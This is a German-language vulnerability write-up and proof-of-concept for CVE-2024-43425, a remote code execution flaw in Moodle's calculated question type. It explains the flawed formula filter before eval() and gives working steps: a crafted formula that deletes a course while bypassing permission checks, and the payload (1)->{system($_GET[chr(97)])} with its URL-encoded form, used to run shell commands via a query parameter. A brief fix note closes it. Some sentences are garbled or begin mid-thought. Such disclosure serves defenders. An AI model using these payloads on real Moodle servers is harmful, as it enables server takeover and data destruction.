
Detaillierte technische Analyse und Proof-of-Concept-Exploit für eine Remote-Codeausführung-Sicherheitslücke im berechneten Fragetyp von Moodle (CVE-2024-43425), einschließlich Ursachenanalyse und schrittweiser Reproduktion.
Name der Anwendung: Moodle
Build-Version: moodle-4.4.1
Betroffene Versionen: 4.4 bis 4.4.1, 4.3 bis 4.3.5, 4.2 bis 4.2.8, 4.1 bis 4.1.11 und frühere nicht unterstützte Versionen
Download-Link: moodle-4.4.1
Angreifer, die berechtigt sind, Fragen in einem Moodle-Kurs zu erstellen oder zu bearbeiten, können bösartige Eingaben für berechnete Fragen erstellen, die missbraucht werden können, um beliebige Befehle auf dem zugrunde liegenden System auszuführen.

Die Funktion qtype_calculated_find_formula_errors stellt die Gültigkeit der in Moodle eingegebenen Formeln sicher und verhindert Syntaxfehler.

Variablen werden durch die Zahl 1.0 ersetzt, die Formel wird in Kleinbuchstaben umgewandelt und Leerzeichen werden entfernt.


Die Hauptvalidierungslogik wird durch Iteration über die Formel und Identifizierung des innersten mathematischen Ausdrucks auf der linken Seite durchgeführt, der durch das Fehlen verschachtelter Klammern erkennbar ist. Dieser Ausdruck wird dann durch eine 1.0 ersetzt.

Schließlich wird, nachdem der reguläre Ausdruck keine weiteren Übereinstimmungen zurückgibt, die Formel als gültig betrachtet, wenn sie nur sichere Operatoren oder Zahlen enthält. Die ursprüngliche Formel wird dann an eval übergeben.
Die Ergebnisüberprüfung erfolgt durch Übergabe der Formel an die PHP-Funktion eval() nach unvollständiger Filterung. Es gibt zwei Ansätze, um den Validierungsprozess zu umgehen:

Das Ersetzen von Variablenplatzhaltern wie {a} durch ihre in () eingeschlossenen Werte: Wenn wir {a} zum obigen Ausdruck hinzufügen, das 'PRINTF' entspricht, wird das Ergebnis 'PRINTF'(1) sein. Daher kann eine Antwortformel mit zwei Teilen definiert werden: a (function_name) und a {variable}.
eval()-Funktion übergeben werden, sodass sie als Teil der Formel unberührt bleiben. Darüber hinaus sind die Bereinigungsprüfungen für Variablennamen weniger streng als die Prüfungen, die für alle anderen Teile der Formel implementiert sind. Dies kann ausgenutzt werden, um beliebige Funktionen aufzurufen, wenn die PHP-Syntax object->{"member"} verwendet wird.Erstellen Sie eine berechnete Frage mit einer Variablen, z.B. {a}.

Speichern Sie die Frage und legen Sie den Wertebereich der Variablen genau auf die Kurs-ID 3 fest.

Speichern Sie die Frage, bearbeiten Sie dann den Ausdruck zu
((acos(2) . 0+acos(2) . 0+acos(2) . 0+acos(2) . 0+acos(2)) ^ (8 . 4 . 2 . 8 . 8 . 3 . 4 . 0 . 0 . 0 . -1 . 3) ^ (2 . 0 . 0 . 3 . 0 . 0 . 0 . 0 . 0 . -8 . 1 . 0) ^ (0 . 0 . 0 . 0 . 0 . 0 . -2 . 1 . 4 . 6 . 0 . 0) ^ (0 . 0 . 0 . 0 . -8 . 8 . 0 . 0 . 2 . 0 . -8)){a}

Das Speichern der geänderten Frage führt zu einem Fehler, aber die Frage wird trotzdem gespeichert. Gehen Sie zurück zur Fragenbank und zeigen Sie die Frage in der Vorschau an. Die Funktion DELETE_COURSE löscht den Kurs mit der angegebenen ID und umgeht dabei alle Berechtigungsprüfungen.


Erstellen Sie eine berechnete Frage. Setzen Sie die Antwortformel auf:
(1)->{system($_GET[chr(97)])}

Der Ausdruck wird zu 1-0-system($_GET{chr(97)}) modifiziert.

Fangen Sie die Anfrage ab und ändern Sie sie zurück zu (1)->{system($_GET[chr(97)])}:
%281%29-%3E%7Bsystem%28%24_GET%5Bchr%2897%29%5D%29%7D

Es erscheint ein Fehler: exception-system(): Argument #1 ($command) cannot be empty

Geben Sie den gewünschten Befehl an, indem Sie &a=[beliebiger Befehl] an die URL anhängen. Die Ausgabe des angegebenen Systembefehls wird in den Anfang der resultierenden HTTP-Antwort eingefügt.
A=id

A=ls

Korrigieren Sie die Bereinigungsfunktion qtype_calculated_find_formula_errors, sodass /question/type/calculated/questiontype.php immer false zurückgibt, wenn berechnete Fragen nicht verwendet werden.